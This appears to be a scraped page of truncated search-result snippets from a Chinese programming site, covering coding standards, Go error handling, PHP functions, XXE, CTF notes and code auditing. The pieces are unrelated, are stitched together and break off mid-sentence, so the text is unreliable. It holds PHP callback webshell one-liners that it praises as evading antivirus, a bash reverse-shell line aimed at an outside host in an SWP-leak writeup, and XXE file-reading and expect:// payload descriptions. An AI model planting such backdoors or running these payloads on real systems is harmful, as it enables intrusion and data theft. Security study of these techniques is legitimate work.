函數 (Function, Methd) 函數宣告時需在函數上方加上函數註解,註解應包含函數說明、引數內容 (引數型態、引數英文名稱、引數說明)、 回傳值內容 (回傳值型態、回傳值說明) 類 (Class...CSS 程式碼撰寫 CSS 的定義應該獨立一個 CSS 檔案,禁止使用 或 style 屬性直接在 HTML 中定義樣式。...JavaScript 程式碼撰寫 禁止使用 HTML 字串,一律使用 Dom 產生 HTML 禁止省略箭頭函數 (Arrow function) 的括弧 正確 1 2 3 a = (a, b)...] 引數說明 * @param {引數型態} [選擇性引數名稱=引數預設值] 引數說明 * @returns {回傳值型態} 回傳值說明 */ Example 1 2 3 4 5...前端參數取得 參數取得需透過 filter_input 函數取得,不得使用 _GET、 _POST 輸出到前台 參數命名必須為:全部小寫,不同單字以「_」分隔 註解 PHP 註解應該遵循 PHPDoc
panic Go 语言没有像 PHP 那样引入异常的概念,也没有提供 try...catch 这样的语法对运行时异常进行捕获和处理,当代码运行时出错,而又没有在编码时显式返回错误时,Go 语言会抛出 panic...除了像上篇教程演示的那样由 Go 语言底层抛出 panic,我们还可以在代码中显式抛出 panic,以便对错误和异常信息进行自定义,仍然以上篇教程除数为0的示例代码为例,我们可以这样显式返回 panic...recover 此外,我们还可以通过 recover() 函数对 panic 进行捕获和处理,从而避免程序崩溃然后直接退出,实现类似 PHP 中 try...catch...finally 的功能,由于执行到抛出...如果在代码执行过程中没有抛出 panic,比如我们把 divide() 函数中的 j 值改为 1,则代码会正常执行到函数末尾,然后调用 defer 语句声明的匿名函数,此时 recover() 函数返回值为...nil,不会执行 if 分支代码,然后退出 divide() 函数回到 main() 函数执行后续代码: ?
panic Go 语言没有像 Java、PHP 那样引入异常的概念,也没有提供 try...catch 这样的语法对运行时异常进行捕获和处理,当代码运行时出错,而又没有在编码时显式返回错误时,Go 语言会抛出...除了像上篇教程演示的那样由 Go 语言底层抛出 panic,我们还可以在代码中显式抛出 panic,以便对错误和异常信息进行自定义,仍然以上篇教程除数为 0 的示例代码为例,我们可以这样显式返回 panic...")) // 传入 error 类型 无论是 Go 语言底层抛出 panic,还是我们在代码中显式抛出 panic,处理机制都是一样的:当遇到 panic 时,Go 语言会中断当前协程(即 main...: 如果在代码执行过程中没有抛出 panic,比如我们把 divide() 函数中的 j 值改为 1,则代码会正常执行到函数末尾,然后调用 defer 语句声明的匿名函数,此时 recover() 函数返回值为...nil,不会执行 if 分支代码,然后退出 divide() 函数回到 main() 函数执行后续代码: 这样一来,当程序运行过程中抛出 panic 时我们可以通过 recover() 函数对其进行捕获和处理
3 HTML解析&分析反射 如果参数可以回显,那么通过html解析就可以获得参数位置,分析回显的环境(比如是否在html标签内,是否在html属性内,是否在注释中,是否在js中)等等,以此来确定检测的payload...其实如果把html解析理解为html的语义分析,用python3自带的html提取函数很容易就能完成这一点。...1 扫描流程 我的扫描器扫描流程是这样的 发送随机flag -> 确定参数回显 -> 确定回显位置以及情况(html,js语法解析) -> 根据情况根据不同payload探测 -> 使用html,js...语法解析确定是否多出来了标签,属性,js语句等等 使用html语法树检测有很多优势,可以准确判定回显所处的位置,然后通过发送一个随机payload,例如,再使用语法检测是否有Asfaa这个标签...html语法树用python自带的库 from html.parser import HTMLParser js检测也是如此,如果回显内容在JavaScript脚本中,发送随机flag后,通过js语法解析只需要确定
字串 函式种类: 数学运算 内容说明 本函式用来将浮点参数 number 格式化。...若没加参数 decimals 则传回的字串只要整数部份,加了此参数才依参数指定的小数点位数传回。参数 dec_point 表示小数点的表示方式方法,内定值是 “.”...,若需要转换成其它的小数点就可以在这个参数改掉。参数 thousands_sep 为整数部份每三位的分隔符号,内定值是 “,”。...本函式最特别的地方就是参数数目,最少要有一个,也就是欲格式化的字串;也可以有二个或者四个参数,但不能用三个参数。值得注意的是指定小数点的位数之后的数字直接舍弃,没有四舍五入的情形。 使用范例 <?...发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/155415.html原文链接:https://javaforall.cn
pass']); 直接参数回调,将$_REQUEST['pass']传入的数据,传递给 assert 函数去执行。...双参数回调后门 在 PHP5.4.8+ 版本中,assert 有一个新的可选参数 descrition。...php $e=$_REQUEST['e']; $arr=array($_POST['pass']); $arr2=array(1); array_udiff($arr, $arr2, $e); 三参数回调后门...思路可参照,前一阵子 typecho 爆出的反序列化漏洞: https://www.th1s.cn/index.php/2017/10/25/138.html thinkphp 特征后门 thinkphp...的自带方法中,存在可以作为后门的 I 函数 具体代码逻辑比较复杂,有兴趣的同学可以移步P神的文章 https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html
的意思(送1分) PHP是一个基于服务端来创建动态网站的脚本语言,您可以用PHP和HTML生成网站主页 15.MYSQL取得当前时间的函数是?...assort() PHP 没有 assort() 函式,所以可能是 asort() 的笔误。...“===”是给既可以送回布尔值“假”,也可以送回一个不是布尔值但却可以赋与“假”值的函式,strpos() 和 strrpos() 便是其中两个例子。...redirect()这不是一个 PHP 函式,会引致执行错误。 91.PHP中的非静态方法可以通过静态调用吗,反之呢?...HTML换行标记 strip_tags — 从字符串中去除 HTML 和 PHP 标记 lcfirst — 使一个字符串的第一个字符小写 ucfirst — 将字符串的首字母转换为大写 ucwords
最近又看到有人在发这个:http://www.secoff.net/archives/436.html 有同学收集tips,就有同学创造tips。...看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。 0x02 数组操作造成的单参数回调后门 进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。...我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的) 0x04 三参数回调函数 有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。...*|e', $_REQUEST['pass'], ''); 这两个一句话都是不杀的: ? ? 好用的一句话,且用且珍惜呀。 0x05 无回显回调后门 回调后门里,有个特殊的例子:ob_start。...这几个单参数回调后门非常隐蔽,基本没特征,用起来很6. 0x07 数据库操作与第三方库中的回调后门 回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。
XML属性值必须加引号”” 5....实体引用(在标签属性,以及对应的位置值可能会出现符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如符号对应的实体就是...XML注入产生的原理 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件.../resource=/home/bee/test.php 读取文档 有回显的xxe利用 Payload: ?...),比如我们这里的payload没有选用php的base64编码,这里报错了,但是同时也将所读取的内容爆了出来,只是特殊字符经过了HTML实体编码。
XXE漏洞 XXE全称为XML External Entity Injection即XMl外部实体注入漏洞 XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码...元素 元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。...xml格式字符串转换为对应的SimpleXMLElement XML注入回显输出函数 在php中可以使用 print_r(),echo输出想要输出的内容 存在XXE漏洞代码 <?...($data);//注释掉该语句即为无回显的情况 ?...不同程序支持的协议如下图:![]( 其中php支持的协议会更多一些,但需要一定的扩展支持。 漏洞利用 有回显XXE漏洞利用 读取文档文件 <?
[字段] from [表名] where [定值] and [注入数据] 上述两种具体为哪一种其实也可以判断,直接输入数字后加注释符,若是第一种,则浏览器会回显我们输入的数据,而若是第二种,则回显的数据始终不变...图片 那么就使用 cat 命令打开该文件即可,不出意外的话不会出意外,但是出意外了。...图片 那就要抓包了,Brup 抓到的访问 action.php 时返回的数据如下,提示访问另一个文件。 <!...-- secr3t.php --> 那就老老实实打开这个文件看看,浏览器回显了一段代码并且提示 flag 就在 flag.php 文件中。...实测直接修改该值即可让网页显示指定内容,但是含有特殊字符的字符串就会被过滤,仅回显 ORZ。
JavaScript中的高阶函数 ❝高阶函数 ❞ 函数作为参数,如下代码实现的是循环遍历数组,通过传递参数回调函数可以拿到每个数组遍历的值在回调函数中进行相应的处理 //模拟forEach function...这些问题引入了函子的概念 Fuctor函子 容器:包含值和值的变形关系(这个变形关系就是函数) 函子:是一个特殊的容器,通过一个普通的对象来实现,该对象具有map方法,map方法可以运行一个函数对值进行处理...,而是由函子完成 函子就是一个实现了map的契约对象 可以把函子想象成一个盒子,这个盒子里面封装了一个值 想要处理盒子中的值,需要盒子的map方法传递一个处理值的函数(纯函数),由这个函数来对值进行处理...是无法知道的 //maybe 函子的问题 console.log(r); MayBe 函子其实就是在容器的内部判断值是否为空,如果为空就返回一个值为空的函子。...MayBe 函子的作用是处理外部的空值情况,防止空值的异常 IO 函子内部封装的值是一个函数,把不纯的操作封装到这个函数,不纯的操作交给调用者处理 Monad 函子内部封装的值是一个函数(这个函数返回函子
做采集的都知道,一般采集过来的内容难免会带有html标签,如果有太多的标签会影响之后的数据分析或提取,所以需要过滤掉!PHP已经为我们提供了很多清除html格式的方法了,下面就让老高介绍一下。...strip_tags strip_tags($str) 去掉 HTML 及 PHP 的标记 语法: string strip_tags(string str); 传回值: 字串 函式种类: 资料处理 内容说明...: 解析:本函式可去掉字串中包含的任何 HTML 及 PHP 的标记字串。...若是字串的 HTML 及 PHP 标签原来就有错,例如少了大于的符号,则也会传回错误。...后补函数 PHP去除html、css样式、js格式的方法很多,但发现,它们基本都有一个弊端:空格往往清除不了 经过不断的研究,最终找到了一个理想的去除html包括空格css样式、js 的PHP函数。
漏洞简介 SWP文件泄露漏洞是指在使用Vim编辑器编辑一个文件时,Vim会在同一目录下创建一个以".swp"结尾的临时文件来保存编辑过程中的变化,如果在编辑过程中Vim进程被意外终止或者用户没有正确地退出...第一次产生的交换文件名为.index.php.swp,再次意外退出后将会产生名为.index.php.swo的交换文件,第三次产生的交换文件则为.index.php.swn 漏洞利用1 下面以CTFHUB...,这个girl_friend被preg_match过滤了,但是没有过滤nc命令与curl,符合条件的girl_friend会被exec()函数执行,但是我们知道exec()函数是无回显的所以只能用反弹shell...连上这个靶机并用ifconfig命令查看靶机的IP 在我们靶机的/var/www/html新建一个能反弹shell的命令文件(1.txt),里面写入命令:bash -i >& /dev/tcp/ip...例如,可以使用编辑器的自动保存功能,在编辑器崩溃或意外关闭时自动保存文件,避免SWP文件的生成和泄露 用户安全意识培训:最重要的是,用户应该被教育和提醒,避免意外泄露SWP文件。
目录 什么是代码审计 代码审计的三种方法 1.通读全文法 2.函数回溯法 3.定向功能分析法 分析过程 工具 主要代码审计方法 1.通读全文法 2.函数回溯法 1.跟踪用户的输入数据 2.敏感函数参数回溯...1.通读全文法 (1)网站结构 浏览源码文件夹,了解该程序的大致目录 (2)入口文件 index.php、admin.php文件一般是整个程序的入口,详细读一下index文件可以知道程序的架构,运行流程...(3)配置文件 一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。先看看数据库编码,如果是gbk则可能存在宽字节注入。...如果变量的值用双引号、则可能存在双引号解析代码执行的问题。...2.函数回溯法 跟踪用户输入数据和敏感函数参数回溯: 1.跟踪用户的输入数据 判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑 可以是一个函数,或者是条小小的条件判断语句。
application 应用程式 应用、应用程序 application framework 应用程式框架、应用框架 应用程序框架 architecture 架构、系统架构 体系结构 argument 引数(传给函式的值...C++ Primer 3/e, 11.4) 异常规范 exit 退离(指离开函式时的那一个执行点) 退出 explicit 明白的、明显的、显式 显式 export 汇出 引出、导出 expression...功能 function template 函式模板、函式范本 函数模板 functor 仿函式 仿函式、函子 game 游戏 游戏 generate 生成 generic 泛型、一般化的 一般化的...C++ Primer 3/e, 11.4) 异常规范 exit 退离(指离开函式时的那一个执行点) 退出 explicit 明白的、明显的、显式 显式 export 汇出 引出、导出 expression...by reference 传址(函式引数的一种传递方式) 传地址, 按引用传递 pass by value 传值(函式引数的一种传递方式) 按值传递 pattern 范式、样式 模式 performance
,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害 XXE漏洞可以做什么事: 文件读取 内网扫描攻击 dos攻击 RCE执行 XML与HTML的主要差异 XML被设计为传输和存储数据...,其焦点是数据的内容 HTML被设计用来显示数据,其焦点是数据的外观 HTML旨在显示信息,而XML旨在传输信息 如何去挖XXE漏洞: 抓包修改数据类型,把json改成xml来传输数据 Content-Type...DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI"> 外部引用语音和支持的协议 不同的语言对协议的支持是不一样的,我在网上找的参考图: XXE攻击常用的语句: 有回显...ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> &xxe; PHP expect RCE:由于 PHP 的 expect 并不是默认安装扩展...ENTITY xxe SYSTEM "expect://id"> ]> &xxe; 无回显 无回显的情况需要公网服务器或者内网搭建一个服务,让被攻击者机器去调用攻击者写好的 外部实体dtd
2、漏洞原理 先从一个实例理解RFD漏洞,如Google搜索的返回包是json格式: 可见我们的输入在返回包处反射输出,如果输入payload”||calc||,返回: 到这仍没什么问题,但如果我们尝试在命令行里运行这个回显内容...解析过程实际为: 所以和DDE的攻击方法类似,我们最终要是让回显内容作为一个bat文件下载,这可以通过分号;或结合社会工程的方式实现: 注:URL中分号;是个保留字符,类似连接符,现已废除。...3)下载:响应被作为文件里的内容进行下载,这里可以控制Content-Type或者在自己的服务器上创建一个HTML文件,设置download属性,诱导点击下载。...: 由于因为这个链接返回json值而不是下载,所以这里可以在自己的服务器构造一个钓鱼html文件,设置为download属性,自动下载bat文件: 用户点击文件,因为链接来自可信地址,所以容易中招...cart_id=3471936&term=rfd&page=1 发现term参数回显: {"meta":{"code":200,"source":"search_service","cluster":null
当然了,要小心不要意外的泄露出你的数据库连接信息和密码等。 7, 使用 error_reporting(0) 函数来防止用户看到潜在的敏感错误信息。...这就能够在出错的时候完全屏蔽敏感的 SQL 查询语句和路径名。 8, 在网数据库中存储很大的字符串之前使用 gzcompress() 和 gzuncompress() 来显式的压缩/解压字符串。...9, 通过"引用"传递参数的方法从一个函数中得到多个返回值。 就像三元运算符一样,大部分受过正式编程训练的程序员都知道这个技巧。...但是那些 HTML 背景大于 Pascal 背景的程序员都或多或少的有过这样的疑问"在仅能使用一次 return 的情况下,从一个函数里返回多个值?"...答案就是在变量前加上一个 "&" 符号,通过"引用"传递而非"值"传递。 10, 完全理解"魔术引号"和 SQL 注入的危险性。
领取专属 10元无门槛券
手把手带您无忧上云